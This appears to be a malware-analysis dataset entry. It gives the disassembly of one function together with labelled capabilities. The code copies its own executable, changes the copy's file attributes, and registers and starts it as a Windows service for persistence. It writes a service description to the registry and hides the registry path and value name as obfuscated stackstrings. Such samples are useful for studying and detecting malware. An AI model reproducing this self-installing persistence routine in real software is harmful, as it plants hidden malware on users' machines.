Function at 0x40cd1f
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Set file attributes
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e5c8
push 0x409198
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffc90
push ebx
push esi
push edi
mov byte [ebp - 0x328], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x328]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x334], 0x25
mov byte [ebp - 0x333], 0x73
mov byte [ebp - 0x332], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x334]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x220]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x40ce73
push 0x411048
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x33c], eax
lea ecx, [ebp - 0x220]
push ecx
call fcn.0040b49f
add esp, 4
push str.CopyFileA
mov edx, dword [ebp - 0x33c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x338], eax
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
call dword [ebp - 0x338]
lea edx, [ebp - 0x220]
push edx
call fcn.0040a39c
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x328]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x328]
push edx
mov ecx, dword [0x42aa54]
call fcn.004076e4
xor eax, eax
mov ax, word [0x410930]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0
mov dword [ebp - 4], 0
push str.OpenSCManagerA
push 0x411074
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x37c], eax
push 0xf003f
push 0
push 0
call dword [ebp - 0x37c]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x40cee0
jmp 0x40d1b7
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x328]
push edx
push 0
push 2
push pe_nt_image_headers32
push 0xf01ff
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x32c]
push eax
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x340], str.Gwogwo_Hxpgxpgx_Qhyphyph_Aqiy
lea ecx, [ebp - 0x340]
push ecx
push 1
mov edx, dword [ebp - 0x330]
push edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov eax, dword [ebp - 0x368]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x330], 0
jne 0x40cfab
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x40cfab
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0
jne 0x40cf9a
jmp 0x40d1b7
push 0
push 0
mov eax, dword [ebp - 0x330]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
mov ecx, dword [ebp - 0x330]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x40cfc5
jmp 0x40d1b7
mov byte [ebp - 0x364], 0x53
mov byte [ebp - 0x363], 0x59
mov byte [ebp - 0x362], 0x53
mov byte [ebp - 0x361], 0x54
mov byte [ebp - 0x360], 0x45
mov byte [ebp - 0x35f], 0x4d
mov byte [ebp - 0x35e], 0x5c
mov byte [ebp - 0x35d], 0x43
mov byte [ebp - 0x35c], 0x75
mov byte [ebp - 0x35b], 0x72
mov byte [ebp - 0x35a], 0x72
mov byte [ebp - 0x359], 0x65
mov byte [ebp - 0x358], 0x6e
mov byte [ebp - 0x357], 0x74
mov byte [ebp - 0x356], 0x43
mov byte [ebp - 0x355], 0x6f
mov byte [ebp - 0x354], 0x6e
mov byte [ebp - 0x353], 0x74
mov byte [ebp - 0x352], 0x72
mov byte [ebp - 0x351], 0x6f
mov byte [ebp - 0x350], 0x6c
mov byte [ebp - 0x34f], 0x53
mov byte [ebp - 0x34e], 0x65
mov byte [ebp - 0x34d], 0x74
mov byte [ebp - 0x34c], 0x5c
mov byte [ebp - 0x34b], 0x53
mov byte [ebp - 0x34a], 0x65
mov byte [ebp - 0x349], 0x72
mov byte [ebp - 0x348], 0x76
mov byte [ebp - 0x347], 0x69
mov byte [ebp - 0x346], 0x63
mov byte [ebp - 0x345], 0x65
mov byte [ebp - 0x344], 0x73
mov byte [ebp - 0x343], 0x5c
mov byte [ebp - 0x342], 0
lea edx, [ebp - 0x364]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x42aa54]
call fcn.004076e4
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x11c]
push edx
mov ecx, dword [0x42aa54]
call fcn.0040750a
push str.RegOpenKeyA
push 0x411090
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x380], eax
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push closesocket
call dword [ebp - 0x380]
mov byte [ebp - 0x378], 0x44
mov byte [ebp - 0x377], 0x65
mov byte [ebp - 0x376], 0x73
mov byte [ebp - 0x375], 0x63
mov byte [ebp - 0x374], 0x72
mov byte [ebp - 0x373], 0x69
mov byte [ebp - 0x372], 0x70
mov byte [ebp - 0x371], 0x74
mov byte [ebp - 0x370], 0x69
mov byte [ebp - 0x36f], 0x6f
mov byte [ebp - 0x36e], 0x6e
mov byte [ebp - 0x36d], 0
push str.RegSetValueExA
push 0x4110b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x36c], eax
mov edx, dword [ebp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + 0x14]
push eax
push 1
push 0
lea ecx, [ebp - 0x378]
push ecx
mov edx, dword [ebp - 0x224]
push edx
call dword [ebp - 0x36c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040d1c5
jmp 0x40d208
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret